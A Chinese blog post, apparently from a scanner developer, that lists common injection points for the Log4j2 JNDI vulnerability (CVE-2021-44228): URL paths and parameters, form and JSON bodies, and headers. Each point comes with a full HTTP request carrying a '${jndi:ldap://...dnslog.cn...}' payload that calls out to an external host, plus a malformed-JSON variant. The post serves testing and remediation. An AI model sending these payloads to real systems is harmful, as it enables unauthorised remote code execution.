CVE-2021-44228(Log4j2 RCE)常见漏洞位置汇总

前言

Log4j2是一款常用的Java日志输出组件Log4j的2.x版本,CVE-2021-44228漏洞来源于其支持高度扩展性的字符串解析引擎,该引擎在解析被用户控制的日志内容时,若开发者未对内容进行合理的过滤或转义处理时,攻击者则可以在日志正文中注入JNDI对象,而该对象被Log4j组件解析时将有可能触发远程代码执行。

本质上该漏洞算是Log4j的一个“特色功能”,但是如果引用该组件的开发者对其高度的扩展性缺乏安全性认知时,将有可能引入该风险的发生。

本文章为常见定制系统的漏洞位置整理汇总,如有遗漏,请师傅们留言补充🙏🙏🙏。

URL

URL属于该漏洞最常见的位置之一,常见的细分位置有:

//URL路径(以Apache Druid的POC为例)
http://example.com/druid/coordinator/v1/lookups/config/${jndi:ldap://abc.dnslog.cn/def}
//URL参数(以Apache Solr的POC为例)
http://example.com/solr/admin/cores?action=${jndi:ldap://abc.dnslog.cn/def}

该位置属于该漏洞较为常见的位置 ,此处就不在赘述。

Body

HTTP Body 属于第二常见的漏洞位置,常常出现在登录、业务流程、审批接口等。

根据开发者习惯的不同,也有不同的请求格式,例如Form、Json、XML等,部分系统会对参数进行编码、加密加大检测难度,以掌控安全的Log4j2靶场为例。

POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d63bb2586.lab.aqlab.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://d63bb2586.lab.aqlab.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=${jndi:ldap://abc.dnslog.cn/def}&password=admin

另外在开发Log4j2Scan的过程中,通过该插件Json Fuzz的一个Bug无意间发现了另一个极为刁钻的POC,并且在实际的系统中成功触发。

POST /api/login HTTP/1.1
Host: 11.22.33.44
Content-Length: 91
Origin: http://11.22.33.44
Content-Type: application/json;charset=UTF-8
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"fsTAYeWdQ":${jndi:ldap://abc.dnslog.cn/def}}

起因是插件内在替换JSON参数值的时候,忘记判断参数类型是否为数字,直接替换的结果则是造成了参数值缺失了双引号,导致JSON语法错误,而此时服务端却成功触发了该漏洞…..

在协助修复的过程中与系统开发人员的沟通判断,基本确定应该是系统将报错信息直接打印到日志中导致的漏洞触发,该触发方式也被加入插件内作为一个独立的检测功能(Bad-Json Fuzz)。

Header

该漏洞在Header中的情况较为少见,常见于X-Forworded-ForAcceptUser-Agent,也有部分框架中的漏洞存在于Header,例如Struts2框架的If-Modified-Since请求头也存在该漏洞。同样以掌控安全的Log4j2靶场的Header中的Accpet点位为例。

POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d63bb2586.lab.aqlab.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: ${jndi:ldap://abc.dnslog.cn/def}
Referer: http://d63bb2586.lab.aqlab.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=aa&password=bbb

未完待续……

留下评论

您的电子邮箱地址不会被公开。 必填项已用*标注